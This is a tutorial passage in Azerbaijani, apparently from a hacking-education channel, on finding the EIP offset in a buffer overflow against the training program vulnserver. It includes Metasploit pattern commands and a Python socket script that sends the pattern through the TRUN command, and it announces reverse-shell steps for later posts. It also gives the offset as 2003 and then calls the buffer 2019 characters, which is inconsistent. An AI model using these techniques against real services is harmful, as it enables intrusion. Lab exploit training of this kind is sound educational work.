Buffer Overflow Exploitin 2-ci Mərhələsi (Bufferin Ölçüsünün Təyin Edilməsi)
Buffer Overflow nədir? Buffer Overflow Laboratoriyası nədən ibarətdir? Buffer Overflow zəifliyinin exploit edilməsi necədir?Bufferin ölçüsünün təyin edilməsi necə həyata keçirilir?pattern_create istifadəsi necədir?pattern_offset istifadə edilməsi?
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Bufferin Ölçüsü
Buffer Overflow zəifliyinin exploit edilməsində 2-ci mərhələ olaraq bufferin ölçüsünün təyin edilməsidir. Niyə bəs biz bufferin ölçüsünü bilməliyik? Çünki EİP instruksiyasının haradan başladığını öyrənərək biz öz payloadumuzu daxil edərək sistemi ələk keçirmək üçün bufferin ölçüsünü təyin etmək mütləqdir.
Şablonun Yaradılması
EİP instruksiyasını haradan başladığını təyin etmək üçün Metasploit istifadə edərək simvolların ardıcılığını yaradacayıq. Bu şablonun köməyi ilə EİP instruksiyasının dəqiqi yerini təyin edəcəyik. Metasploit alətində məhz bu tip tapşırıqlar üçün pattern_create adlı proqram vardır və onun qovluq yolu aşağıda göstərilmişdir.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
pattern_create alətinin olduğu qovluğa daxil oluruq və aləti icra edirik. İlk öncə -h parametri ilə aləti necə istifadə etməliyik deyə araşdıraq.
┌──(root㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─# ./pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
Bu proqram bizim daxil etdiyimiz say qədər ardıcıl simvollar yaradırki, biz bunların birini tapmaq həmin hissənin harada və neçənci olduğunu təyin edə bilərik. Yaddınızdadırsa, əvvəlki paylaşımda daxil edilən məlumatın uzunluğunu 10 000 təyin etmişdik, elə bu məsələdə də eynilə yerinə yetirəcəyik.
10 000 simvol ekrana yazılması çox böyük olduğu üçün onun hamısını biz görməyəcəyik.
┌──(root㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─# ./pattern_create.rb -l 10000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab ....
Payloadun Tətbiqi
Metasploit alətində ardıcıl simvolları generasiya etdikdən sonra əldə olunan nəticəni kopyalayırıq və onu bizim Python skriptində qeyd edərək serverə göndərəcəyik. Hələki biz bunu etmirik, çünki vulnserver.exe proqramını Windows cihazda müşahidə etmək lazımdır.
import socket
# Serverə göndəriləcək test datası
test = b"Aa0Aa1Aa2Aa3Aa4Aa..."
try:
# Socket yaradılır (AF_INET = IPv4, SOCK_STREAM = TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Serverə bağlantı qurulur (IP və port dəyişdirilə bilər)
s.connect(('192.168.10.1', 9999))
# Serverin cavabını gözləyirik (optional)
response = s.recv(1024)
print("[+] Server cavabı:", response.decode(errors="ignore"))
# Payload hazırlanır və göndərilir
payload = b"TRUN /.:/" + test
s.send(payload)
print("[+] Payload göndərildi.")
# Cavabı qəbul edirik
response = s.recv(1024)
print("[+] Serverdən cavab:", response.decode(errors="ignore"))
except Exception as e:
print(f"[-] Xəta baş verdi: {e}")
finally:
# Bağlantı bağlanır
s.close()
print("[*] Əlaqə sonlandırıldı.")
Python skriptini icra etməzdən əvvəl vulnserver proqramını icra edildiyindən əmin olun.(Vulnserver proqramını Administrator kimi icra etməyiniz mütləqdir.) Daha sonra İmmunity Debugger proqramını işə salırıq və File – Attach deyərək vulnserver prosesini debugger proqramına daxil edirik. Yeni açılan pəncərədə vulnserveri seçirik və Attach əmri ilə proqramı daxil edirik.

Proqram açıldıqdan sonra onu Run edirik və İmmunity Debugger proqramı Paused vəziyyətindən Running vəziyətinə keçəcəkdir. İndi isə Python skriptini icra edirik və nə baş verəcəyini müşahidə edək.
┌──(impacket-env)─(root㉿kali)-[~/Desktop/Tools/impacket-env]
└─# python3 exploit.py
[+] Server cavabı: Welcome to Vulnerable Server! Enter HELP for help.
[+] Payload göndərildi.
İcra sonrası Python skriptimiz yuxarıda göstərildiyi kimi donmalıdır, Amma bunun yerinə Windows cihazında İmmunity Debugger proqramında yaratdığımız simvol ardıcılığını görə bilərik.

İmmunity Debugger proqramında biz EİP instruksiyasının dəyərini əldə etdik. Bu dəyəri Metasploitin pattern_offset alətinə daxil edirik və bizə bufferin dəqiq ölçüsünü bildirir.
┌──(root㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─# ./pattern_offset.rb -l 10000 -q 386F4337
[*] Exact match at offset 2003
Buradan görürükki, Vulnserver proqramının TRUN kommandası ilə icra olunduqda buffer həcmi 2019 simvoldan ibarətdir. Növbəti paylaşımlarda 2003 həcmi ilə EİP idarə edilməsini və hədəfdən reverse shell əldə etməyi izah edəcəyik.
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat